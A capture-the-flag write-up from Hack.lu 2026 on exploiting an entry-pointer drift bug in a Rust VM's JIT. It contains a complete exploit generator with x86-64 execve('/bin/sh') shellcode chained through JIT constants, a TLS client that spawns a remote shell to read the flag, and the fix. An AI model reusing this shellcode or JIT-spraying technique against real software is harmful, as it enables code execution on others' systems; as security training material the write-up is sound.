$ cat writeup.md…
$ cat writeup.md…
Hack.lu 2026
Task: V67L's x86-64 JIT adds instruction_count to Function offset 0 (jit_entry) instead of offset 8 (fuel), drifting the entry pointer every native call. Solution: make a hot function's instruction_count match the byte offset of its first Const imm64 (23), chain shellcode in the immediates with eb 09, and native call #2 runs execve('/bin/sh').
The VM keeps on crashing at random. Pls fix ASAP, our internal infra depends on it.
English summary: we are given v67.zip, the source of a small Rust register VM called
V67L (magic V67L, version 1) with an asynchronous hot-function JIT for x86-64
Linux. A service (server.py, reached via socat ... EXEC:python3 /server.py, running
as uid 1000 ctf) reads a length-prefixed bytecode blob (max 2 << 20 bytes), writes it
to a temp .v67l file, and runs /v67l <file>.
The premise "the VM keeps on crashing at random" is the bug report. The job is to find
the intermittent fault in the JIT and turn it into arbitrary code execution — the flag
is read from /flag.txt on the remote host.
Bytecode layout (see src/bytecode.rs):
"V67L" | version:u8=1 | function_count:u16 | entry:u16
per function: arity:u8 | registers:u8 | code_len:u32 | code[code_len]
Opcodes CONST, MOV, ADD, SUB, MUL, DIV, EQ, LT, JMP, JZ, CALL, RET, PRINT, LOAD, STORE
(src/bytecode.rs). Validation is strict: registers must be < declared register count,
jump targets must land on instruction starts, the entry function must have arity 0, and a
callee's arity must match the argument count. There is a shared, bounds-checked i64 heap
and a per-invocation register frame [0i64; 64] that is passed to native code in RDI
(src/vm.rs).
src/jit/x64.rs:
fn emit_fuel_prologue(&mut self, function: &Function) { self.assembler .load_immediate(std::ptr::from_ref(function) as usize as i64); self.assembler .add_memory_immediate(0, function.instruction_count as u32); }
This emits, per native invocation:
movabs rax, <&Function as i64> ; 10 bytes add qword ptr [rax + 0], instruction_count ; 11 bytes
The author intended [&Function + offset_of(fuel)]. But Function is #[repr(C)]
(src/lib.rs):
#[repr(C)] pub(crate) struct Function { jit_entry: UnsafeCell<*mut u8>, // offset 0 fuel: AtomicU64, // offset 8 arity: u8, registers: u8, instruction_count: u64, instructions: Vec<bytecode::Decoded>, jit_state: AtomicU8, }
jit_entry is field 0, so offset 0 is jit_entry, and fuel actually lives at offset
8. The prologue therefore adds instruction_count to the function's own entry
pointer on every native call instead of charging fuel. Concretely, if the compiled code
starts at P:
P, then sets jit_entry = P + instruction_count;native_entry() returns the corrupted pointer, invoke() jumps
to P + instruction_count — a controlled native program counter inside the JIT's
RWX code page.This explains the "random" crashes: whether the drift is ever taken depends on the
asynchronous compilation timing. If the function becomes JIT_READY only after the last
interpreted call, the drift never fires; if it is installed earlier, the next call jumps
into the middle of generated code.
The only attacker-controlled executable bytes in the RWX page are the immediates of
Const instructions. Const emits:
movabs rax, imm64 ; 48 b8 <imm64> (10 bytes), imm begins at op_start+2 mov [rdi+off], rax ; 48 89 87 <off32> (7 bytes)
so each Const is 17 bytes and its immediate starts at op_start + 2.
Fixed-point trick: make the function's instruction_count exactly equal the byte
offset of the first controlled immediate. Then native call #2 lands there.
10 + 11 = 21 bytes.Const immediate: 21 + 2 = 23.instructions →instruction_count == 23` → call #2 enters at offset 23.Each 8-byte immediate is [6 bytes shellcode][eb 09]. From the end of the 2-byte eb 09
the jump skips the 9-byte gap (7-byte mov [rdi+off], rax store + the 2-byte 48 b8
prefix of the next movabs) and lands exactly on the next Const's immediate. All
shellcode instructions are ≤ 3 bytes so they fit inside the 6-byte units.
Shellcode (execve("/bin/sh", 0, 0)), 24 bytes in 4 units:
mov rax, [rdi] ; 48 8b 07 rax = registers[0] = "/bin/sh\0" push rax ; 50 mov rdi, rsp ; 48 89 e7 xor rdx, rdx ; 48 31 d2 xor rsi, rsi ; 48 31 f6 xor eax, eax ; 31 c0 mov al, 59 ; b0 3b syscall ; 0f 05
The immediates (little-endian i64) become:
| unit | bytes | i64 immediate |
|---|---|---|
| 0 | 48 8b 07 90 90 90 eb 09 | 0x09eb9090078b48 |
| 1 | 50 48 89 e7 90 90 eb 09 | 0x09eb9090e7894850 |
| 2 | 48 31 d2 48 31 f6 eb 09 | 0x09ebf63148d23148 |
| 3 | 31 c0 b0 3b 0f 05 eb 09 | 0x09eb050f3bb0c031 |
F0 is the entry function (arity 0, registers 4). It loads r1 = 0x0068732f6e69622f
("/bin/sh\0"), loads a loop counter into r2, then repeatedly CALLs F1 with r1 as
the argument, decrementing r2 with SUB and looping via JZ/JMP (~500 000 iterations):
0 const r1, "/bin/sh\0"
10 const r2, LOOPS
20 const r0, 1 ; decrement amount
30 call f1, r3, [r1]
36 sub r2, r2, r0
40 jz r2 -> ret at 51
46 jmp back to 30
51 ret r0
This makes F1 hot: the default jit_threshold = 256 and each interpreted invocation
charges instruction_count = 23, so F1 is queued for compilation after ~12 call sites.
The background JIT thread installs it while the loop is still running, so the loop's
remaining calls execute F1 natively — the first native call drifts jit_entry, the
second jumps into the shellcode. The driver itself must stay below the threshold: it has
a small instruction_count (10 instructions) and is invoked only once, so it is never
compiled.
gen.py builds program.v67l; solve.py / solve_tls.py send it to the target and
drive the resulting /bin/sh to read the flag.
#!/usr/bin/env python3 """V67L JIT fuel-prologue bug -> native code execution. emit_fuel_prologue() does `add qword [&Function + 0], instruction_count`, but offset 0 is jit_entry (fuel is at offset 8). So every native invocation drifts the function's entry pointer by instruction_count bytes. """ import struct import sys MAGIC, VERSION = b"V67L", 1 OP_CONST, OP_SUB, OP_JMP, OP_JZ, OP_CALL, OP_RET = 0x01, 0x04, 0x09, 0x0A, 0x0B, 0x0C def enc_const(dst, value): return bytes([OP_CONST, dst]) + struct.pack("<q", value & 0xFFFFFFFFFFFFFFFF) def enc_sub(d, a, b): return bytes([OP_SUB, d, a, b]) def enc_jmp(rel): return bytes([OP_JMP]) + struct.pack("<i", rel) def enc_jz(reg, rel): return bytes([OP_JZ, reg]) + struct.pack("<i", rel) def enc_call(function, dst, args): return bytes([OP_CALL]) + struct.pack("<H", function) + bytes([dst, len(args)]) + bytes(args) def enc_ret(reg): return bytes([OP_RET, reg]) # --- shellcode chunks ------------------------------------------------------- # Each 8-byte immediate = [6 bytes shellcode][eb 09]; `eb 09` hops the 9-byte gap # (7-byte store + 2-byte `48 b8` prefix) onto the next Const's immediate. units = [ bytes([0x48, 0x8B, 0x07, 0x90, 0x90, 0x90]), # mov rax,[rdi] ; nop nop nop bytes([0x50, 0x48, 0x89, 0xE7, 0x90, 0x90]), # push rax ; mov rdi,rsp ; nop nop bytes([0x48, 0x31, 0xD2, 0x48, 0x31, 0xF6]), # xor rdx,rdx ; xor rsi,rsi bytes([0x31, 0xC0, 0xB0, 0x3B, 0x0F, 0x05]), # xor eax,eax ; mov al,59 ; syscall ] imm_vals = [struct.unpack("<q", u + bytes([0xEB, 0x09]))[0] for u in units] BIN_SH = struct.unpack("<q", b"/bin/sh\x00")[0] # 0x0068732f6e69622f # --- F1: shellcode carrier, arity 1, registers 8 ---------------------------- # 4 shellcode Consts + 18 filler Consts + Ret = 23 instructions. # Prologue 21 bytes + Const imm at op_start+2 => first imm at code offset 23 # == instruction_count => native call #2 enters at the first immediate. f1 = b"" for reg, val in zip([1, 2, 3, 4], imm_vals): f1 += enc_const(reg, val) for _ in range(18): f1 += enc_const(5, 0) # harmless filler f1 += enc_ret(0) assert 4 + 18 + 1 == 23 # --- F0: driver / entry, arity 0, registers 4 ------------------------------- LOOPS = int(sys.argv[1]) if len(sys.argv) > 1 else 500000 d = b"" d += enc_const(1, BIN_SH) # 0..10 r1 = "/bin/sh\0" d += enc_const(2, LOOPS) # 10..20 r2 = counter d += enc_const(0, 1) # 20..30 r0 = 1 d += enc_call(1, 3, [1]) # 30..36 call F1(r1) d += enc_sub(2, 2, 0) # 36..40 d += enc_jz(2, 51 - 46) # 40..46 -> ret at 51 d += enc_jmp(30 - 51) # 46..51 -> call at 30 d += enc_ret(0) # 51..53 out = bytearray() out += MAGIC + bytes([VERSION]) + struct.pack("<H", 2) + struct.pack("<H", 0) # entry = F0 out += bytes([0, 4]) + struct.pack("<I", len(d)) + d out += bytes([1, 8]) + struct.pack("<I", len(f1)) + f1 path = sys.argv[2] if len(sys.argv) > 2 else "program.v67l" open(path, "wb").write(out) print(f"wrote {path}: {len(out)} bytes; imm bytes {[b.hex() for b in [u + bytes([0xEB, 0x09]) for u in units]]}")
# solve_tls.py (remote uses `ncat --ssl`; plain solve.py targets localhost TCP) blob = build() raw = socket.create_connection((HOST, PORT), timeout=15) ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE s = ctx.wrap_socket(raw, server_hostname=HOST) while b"length: " not in buf: # server prompt buf += s.recv(4096) s.sendall(str(len(blob)).encode() + b"\n") s.sendall(blob) time.sleep(1.0) # let the loop get F1 hot + drift s.sendall(b"cat /flag.txt\n") # execve("/bin/sh") shell is now live print(s.recv(4096))
# local reproduction (JIT is x86-64 only; build/run linux/amd64) python3 gen.py 500000 program.v67l docker run --rm --platform linux/amd64 -v "$PWD":/w -w /w v67-test /v67l program.v67l # pipe `id` # remote python3 solve_tls.py <host> 443 # -> flag file contents are printed by the shell
The shell runs as uid 1000 ctf; cat /flag.txt returns the flag. The exploit is
deterministic once the loop count is large enough for the async JIT to install F1
before the loop finishes, and the driver stays cold throughout.
Compute the actual field offset instead of hard-coding 0:
let fuel_offset = std::mem::offset_of!(Function, fuel) as u32; // == 8 self.assembler.add_memory_immediate(fuel_offset, function.instruction_count as u32);
or use addr_of!(function.fuel). Either way the prologue must target fuel, never
jit_entry. A secondary hardening step is to make the code page PROT_READ|EXEC
(no WRITE) and publish it with a memory barrier before JIT_READY, and to
debug_assert! that native_entry() still equals the recorded install address.
Use this technique when:
#[repr(C)] struct mixes a pointer field first with atomics, and JIT/assembly code
uses hard-coded field offsets (add_memory_immediate(0, ...)). Offset 0 is almost
never the intended field.movabs rax, imm64)
inside an RWX mapping — 8 bytes of controllable shellcode per Const.mmap(PROT_READ|PROT_WRITE|PROT_EXEC) and function entry pointers are
stored in the same struct the prologue writes to — classic entry-pointer drift into
controlled bytes.instruction_count == 23
equals the byte offset of the first controlled immediate, so call #2 lands on it.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar